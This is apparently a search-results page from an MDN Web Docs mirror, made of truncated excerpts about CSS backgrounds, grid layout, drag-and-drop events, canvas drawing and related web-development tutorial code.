background: /* the selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* the "color" property defines the text color, in this case yellow.
... */ color: yellow; /* the "
background-color" property defines the
background color, in this case black.
... */
background-color: black } "cascading" refers to the rules that govern how selectors are prioritized to change a page's appearance.
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); ...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: [col1-start...
HTML: A good basis for accessibility - Learn web development
if they are decorational, it is better to write an empty text as a value for alt attribute (see empty alt attributes) or to just include them in the page as css
background images.
...link text color, like all text, has to be significantly different from the
background color (a 4.5:1 contrast).
...with a minimum contrast requirement of 3:1 between link text and surrounding text and between default, visited, and focus/active states and a 4:5 contrast between all those state colors and the
background color.
HTML: A good basis for accessibility - Learn web development
if they are decorational, it is better to write an empty text as a value for alt attribute (see empty alt attributes) or to just include them in the page as css
background images.
...link text color, like all text, has to be significantly different from the
background color (a 4.5:1 contrast).
...with a minimum contrast requirement of 3:1 between link text and surrounding text and between default, visited, and focus/active states and a 4:5 contrast between all those state colors and the
background color.
Organizing your CSS - Learn web development
some developers put all of the rules onto a single line, like so: .box {
background-color: #567895; } h2 {
background-color: black; color: white; } other developers prefer to break everything onto a new line: .box {
background-color: #567895; } h2 {
background-color: black; color: white; } css doesn't mind which one you use.
... you may have used a css property in a specific way to get around older browser incompatibilities, for example: .box {
background-color: red; /* fallback for older browsers that don't support gradients */
background-image: linear-gradient(to right, #ff0000, #aa0000); } perhaps you followed a tutorial to achieve something, and the css is a little non-obvious.
... previous overview: building blocks in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: values and units - Learn web development
task one in this task, the first list item has been given a
background color using hex color codes.
... your task is to complete the css using the same color in different formats, plus a final list item where you should make the
background semi-opaque.
... task three in this task you need move the
background image so that it is centered horizontally, and 20% from the top of the box.
Supporting older browsers - Learn web development
* {box-sizing: border-box;} .wrapper {
background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> note: the clear property also has n...
... * {box-sizing: border-box;} .wrapper {
background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; width: 33.333%; } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <div class="item">item three</div> </div> to deal with this ...
... * {box-sizing: border-box;} .wrapper {
background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; width: 33.333%; } @supports (display: grid) { .item { width: auto; } } <div class="wrapper"> <div class="item">item one</div> <div class="item">item two</div> <...
Use CSS to solve common problems - Learn web development
classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the
background is drawn under how do i define inline, block, and inline-block?
... how to use
background-clip to control how much of the box your
background image covers.
... how to change the box model completely using box-sizing how to control
backgrounds how to control borders how to style an html table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques.
The web and web standards - Learn web development
this article provides some useful
background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... fast forward to 1989, and timbl wrote information management: a proposal and hypertext at cern; these two publications together provided the
background for how the web would work.
... cascading style sheets (css) is a rule-based language used to apply styles to your html, for example setting text and
background colors, adding borders, animating things, or laying out a page in a certain way.
Tips for authoring fast-loading HTML pages - Learn web development
if you use
background images a lot in your css, you can reduce the number of http lookups needed by combining the images into one, known as an image sprite.
... then you just apply the same image each time you need it for a
background and adjust the x/y coordinates appropriately.
... this technique works best with elements that will have limited dimensions, and will not work for every use of a
background image.
Getting started with HTML - Learn web development
</textarea> <div class="controls"> <input id="reset" type="button" value="reset" /> <input id="solution" type="button" value="show solution" /> </div> html { font-family: 'open sans light',helvetica,arial,sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = cod...
...idth: 95%"> <p>a link to my favorite website.</p> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code...
...age</p> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h1 { color: blue; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } img { max-width: 100%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code...
Adding vector graphics to the Web - Learn web development
this being the case, only supporting browsers will load the svg — older browsers will load the png instead: <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> you can also use svgs as css
background images, as shown below.
... in the below code, older browsers will stick with the png that they understand, while newer browsers will load the svg:
background: url("fallback.png") no-repeat center;
background-image: url("image.svg");
background-size: contain; like the <img> method described above, inserting svgs using css
background images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations.
... </text> </svg> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution" disabled> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.valu...
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
in any case, these functions are used for running constant animations and other
background processing on a web site or application.
...this sets a red
background on the page, sets the <body> height to 100% of the <html> height, and centers the <div> inside the <body>, horizontally and vertically.
... html {
background-color: white; height: 100%; } body { height: inherit;
background-color: red; margin: 0; display: flex; justify-content: center; align-items: center; } div { display: inline-block; font-size: 10rem; } insert a <script> element just above the closing </body> tag.
Looping code - Learn web development
let's say we wanted to draw 100 random circles on a <canvas> element (press the update button to run the example again and again to see different random sets): hidden code <!doctype html> <html> <head> <meta charset="utf-8"> <title>random canvas circles</title> <style> html { width: 100%; height: inherit;
background: #ddd; } canvas { display: block; } body { margin: 0; } button { position: absolute; top: 5px; left: 5px; } </style> </head> <body> <button>update</button> <canvas></canvas> <script> const btn = document.queryselector('button'); const canvas = document.queryselector('canvas'); cons...
...t('p'); // para.textcontent = ; // output.appendchild(para); </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jss...
... 0; // refused.textcontent += ; // admitted.textcontent += ; </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssol...
Arrays - Learn web development
hown, // not the solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background-color: #f5f9fa; } active learning: top 5 searches a good use for array methods like push() and pop() is when you are maintaining a record of currently active items in a web app.
... in an animated scene for example, you might have an array of objects representing the
background graphics currently displayed, and you might only want 50 displayed at once, for performance or clutter reasons.
...ered searchinput.value = ''; searchinput.focus(); } } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssol...
Useful string methods - Learn web development
tem.textcontent = input; list.appendchild(listitem); } } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssol...
...listitem.textcontent = result; list.appendchild(listitem); } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssol...
...listitem.textcontent = result; list.appendchild(listitem); } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jsso...
What is JavaScript? - Learn web development
css is a language of style rules that we use to apply styling to our html content, for example setting
background colors and fonts, and laying out our content in multiple columns.
...we can mark it up using html to give it structure and purpose: <p>player 1: chris</p> then we can add some css into the mix to get it looking nice: p { font-family: 'helvetica neue', helvetica, sans-serif; letter-spacing: 1px; text-transform: uppercase; text-align: center; border: 2px solid rgba(0,0,200,0.6);
background: rgba(0,0,200,0.3); color: rgba(0,0,200,0.6); box-shadow: 1px 1px 2px rgba(0,0,200,0.4); border-radius: 10px; padding: 3px 10px; display: inline-block; cursor: pointer; } and finally, we can add some javascript to implement dynamic behaviour: const para = document.queryselector('p'); para.addeventlistener('click', updatename); function updatename() { let name = prompt('enter a...
... async should be used when you have a bunch of
background scripts to load in, and you just want to get them in place as soon as possible.
Handling common JavaScript problems - Learn web development
jquery (or whatever library you are using) will then handle the differences in the
background, so you don't have to.
...the library will manipulate appropriate apis in the
background so the functionality will work whatever the browser (in theory).
...in the
background, it uses the best api the browser has available for storing the data, whether that is indexeddb, web storage, or even websql (which is now deprecated, but is still supported in some older versions of safari/ie).
Mozilla’s UAAG evaluation report
checkpoint title status notes/plans 3.1 toggle
background images.
... (p1) c preferences, appearance, colors - "use my chosen colors, ignoring the colors and
background image specified" 3.2 toggle audio, video, animated images.
...entions for windows does not highlight selected images we do not have the ability to show a border around the text selection we have the following focus appearance prefs that are not exposed in the ui, but can be manually inserted in the user's prefs.js file: setboolpref("browser.display.use_focus_colors", usefocuscolors); /* true or false */ setcharpref("browser.display.focus_
background_color", colorstring); /* for example #ffeedd or the name of a color */ setcharpref("browser.display.focus_text_color", colorstring); setcharpref("browser.display.focus_ring_width", numpixels); /* integer 0-4 */ 10.3 distinct default highlight styles.
Using the Browser API
this is implemented in our sample app with the following functions: browser.addeventlistener('mozbrowserloadstart',function() { stopreload.textcontent = 'x'; }); browser.addeventlistener('mozbrowserloadend',function(e) { canmovebwd(); canmovefwd(); stopreload.textcontent = 'r'; console.log(e.detail.
backgroundcolor); controls.style.
background = e.detail.
backgroundcolor; }); when the mozbrowserloadstart event fires, the latest page request has started loading, and we change the button to a cross to indicate "stop".
... in addition, the
background of the controls ui bar is changed to the
background color of the site that has just loaded, to provide a more integrated experience — this can be read out of the event object's e.detail.
backgroundcolor value.
... when the front page of https://developer.mozilla.org is loaded, for example, the e.detail.
backgroundcolor value reported is rgb(0, 83, 159).
Power profiling overview
this article covers important
background information about power profiling, with an emphasis on intel processors used in desktop and laptop machines.
...even just switching a tab from the foreground to the
background can make a difference.
...in the
background.
JSClass.flags
one of jsclass_foreground_finalize and jsclass_
background_finalize must be specified.
... jsclass_
background_finalize it is safe to finalize objects of this class on a
background thread.
... one of jsclass_foreground_finalize and jsclass_
background_finalize must be specified.
Animated PNG graphics
as per the png specification, if a 'bkgd' chunk exists it may be used to fill the canvas if there is no preferrable
background.
... 1 apng_dispose_op_
background the frame's region of the output buffer is to be cleared to fully transparent black before rendering the next frame.
... if the first 'fctl' chunk uses a dispose_op of apng_dispose_op_previous it should be treated as apng_dispose_op_
background.
Examine and edit CSS - Firefox Developer Tools
in the following example, a spelling error, "
background-colour" instead of "
background-color" has made the rule invalid: rule display it displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.
...(note that this setting is independent of the "browser styles" checkbox in the computed view.) user-agent styles are displayed against a different
background, and the link to the filename and line number contains the prefix (user agent): element {} rule the element {} rule at the top of the rules list isn't actually a css rule.
...for example, searching for "color" will highlight declarations containing border-bottom-color and
background-color as well as just color.: if you enclose the search query in backticks, like this: `color`, the search is restricted to exact matches: expanding shorthand properties shorthand properties can be expanded to display their related longhand properties by clicking the arrow besides them.
CSSImageValue - Web APIs
the cssimagevalue interface of the css typed object model api represents values for properties that take an image, for example
background-image, list-style-image, or border-image-source.
... examples we create an element <button>magic wand</button> we add some css, including a
background image requesting a binary file: button { display: inline-block; min-height: 100px; min-width: 100px;
background: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) aqua; } we get the element's style map.
... we then get() the
background-image from the stylemap and stringify it: // get the element const button = document.queryselector( 'button' ); // retrieve all computed styles with computedstylemap() const allcomputedstyles = button.computedstylemap(); // return the cssimagevalue example console.log( allcomputedstyles.get('
background-image') ); console.log( allcomputedstyles.get('
background-image').tostring() ); specifications specification status comment css typed om level 1the definition of 'cssimagevalue' in that specification.
CanvasRenderingContext2D.globalAlpha - Web APIs
we begin by drawing a solid
background composed of four differently colored squares.
...if we were to increase the step count (and thus draw more circles), the
background would eventually disappear completely from the center of the image.
... <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw
background ctx.fillstyle = '#fd0'; ctx.fillrect(0, 0, 75, 75); ctx.fillstyle = '#6c0'; ctx.fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw transparent circles for (let i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalalpha' in that specification.
Manipulating video using canvas - Web APIs
<!doctype html> <html> <head> <style> body {
background: black; color:#cccccc; } #c2 {
background-image: url(media/foo.png);
background-repeat: no-repeat; } div { float: left; border :1px solid #444444; padding:10px; margin: 10px;
background:#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" cro...
... canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green
background in the video.
... the for loop that begins on line 6 scans through the frame's pixels, pulling out the red, green, and blue values for each pixel, and compares the values against predetermined numbers that are used to detect the green screen that will be replaced with the still
background image imported from foo.png.
Using images - Web APIs
using backdrops can make your script considerably smaller because we can avoid the need for code to generate the
background.
...because 24-bit png images include a full 8-bit alpha channel, unlike gif and 8-bit png images, it can be placed onto any
background without worrying about a matte color.
...2eed408d.jpg"></td> <td><img src="https://udn.realityripple.com/samples/6e/d8d545e955.jpg"></td> <td><img src="https://udn.realityripple.com/samples/b7/86ecdc3e8d.jpg"></td> </tr> </table> <img id="frame" src="https://udn.realityripple.com/samples/57/952c634159.png" width="132" height="150"> </body> </html> and here's some css to make things look nice: body {
background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4f191a; margin: 10px; } img { display: none; } table { margin: 0 auto; } td { padding: 15px; } tying it all together is the javascript to draw our framed images: function draw() { // loop through all images for (var i = 0; i < document.images.length; i++) { // don't add a canvas for the frame i...
Document: drag event - Web APIs
html <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center;
background: white; } .dropzone { width: 200px; height: 20px;
background: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
...style.opacity = ""; }, false); /* events fired on the drop targets */ document.addeventlistener("dragover", function(event) { // prevent default to allow drop event.preventdefault(); }, false); document.addeventlistener("dragenter", function(event) { // highlight potential drop target when the draggable element enters it if (event.target.classname == "dropzone") { event.target.style.
background = "purple"; } }, false); document.addeventlistener("dragleave", function(event) { // reset
background of potential drop target when the draggable element leaves it if (event.target.classname == "dropzone") { event.target.style.
background = ""; } }, false); document.addeventlistener("drop", function(event) { // prevent default action (open as link for some elements) event.preve...
...ntdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.
background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document.visibilityState - Web APIs
it is useful to know if the document is in the
background or an invisible tab, or only loaded for pre-rendering.
...in practice this means that the document is either a
background tab or part of a minimized window, or the os screen lock is active.
... typical use of this can be to prevent the download of some assets when the document is solely prerendered, or stop some activities when the document is in the
background or minimized.
Element: auxclick event - Web APIs
the former changes the color of the button
background, while the latter changes the button foreground (text) color.
... javascript let button = document.queryselector('button'); let html = document.queryselector('html'); function random(number) { return math.floor(math.random() * number); } function randomcolor() { return `rgb(${random(255)}, ${random(255)}, ${random(255)})`; } button.onclick = function() { button.style.
backgroundcolor = randomcolor(); }; button.onauxclick = function(e) { e.preventdefault(); button.style.color = randomcolor(); } button.oncontextmenu = function(e) { e.preventdefault(); } notice that in addition to capturing the auxclick event using onauxclick, the contextmenu event is also captured, and preventdefault() called on that event, in order to prevent the context menu from popping up aft...
... html <button><h1>click me!</h1></button> css html { height: 100%; overflow: hidden; } body { height: inherit; display: flex; justify-content: center; align-items: center; margin: 0; } button { border: 0;
background-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons on gaming mice).
Event.eventPhase - Web APIs
</li> <li>repeat the experience</li> </ul> <input type="checkbox" id="chcapture" /> <label for="chcapture">use capturing</label> <div id="d1">d1 <div id="d2">d2 <div id="d3">d3 <div id="d4">d4</div> </div> </div> </div> <div id="divinfo"></div> css div { margin: 20px; padding: 4px; border: thin black solid; } #divinfo { margin: 18px; padding: 8px;
background-color:white; font-size:80%; } javascript let clear = false, divinfo = null, divs = null, usecapture = false; window.onload = function () { divinfo = document.getelementbyid('divinfo') divs = document.getelementsbytagname('div') chcapture = document.getelementbyid('chcapture') chcapture.onclick = function () { removelisteners() addlisteners() } clear() addlis...
....id != "divinfo") { if (chcapture.checked) { d.addeventlistener("click", ondivclick, true) } else { d.addeventlistener("click", ondivclick, false) d.onmousemove = function () { clear = true } } } } } function ondivclick(e) { if (clear) { clear() clear = false } if (e.eventphase == 2) e.currenttarget.style.
backgroundcolor = 'red'; let level = e.eventphase == 0 ?
..."bubbling" : "error"; divinfo.innerhtml += e.currenttarget.id + "; eventphase: " + level + "<br/>"; } function clear() { for (let i = 0; i < divs.length; i++) { if (divs[i].id != "divinfo") { divs[i].style.
backgroundcolor = (i & 1) ?
GlobalEventHandlers.ondragend - Web APIs
lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's
background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev...
....preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's
background color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to th...
GlobalEventHandlers.ondragenter - Web APIs
lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's
background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev...
....preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's
background color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to th...
GlobalEventHandlers.ondragexit - Web APIs
lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's
background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev...
....preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's
background color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to th...
GlobalEventHandlers.ondragleave - Web APIs
solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's
background color to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's backg...
...round color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's
background color back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's
background color back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, dra...
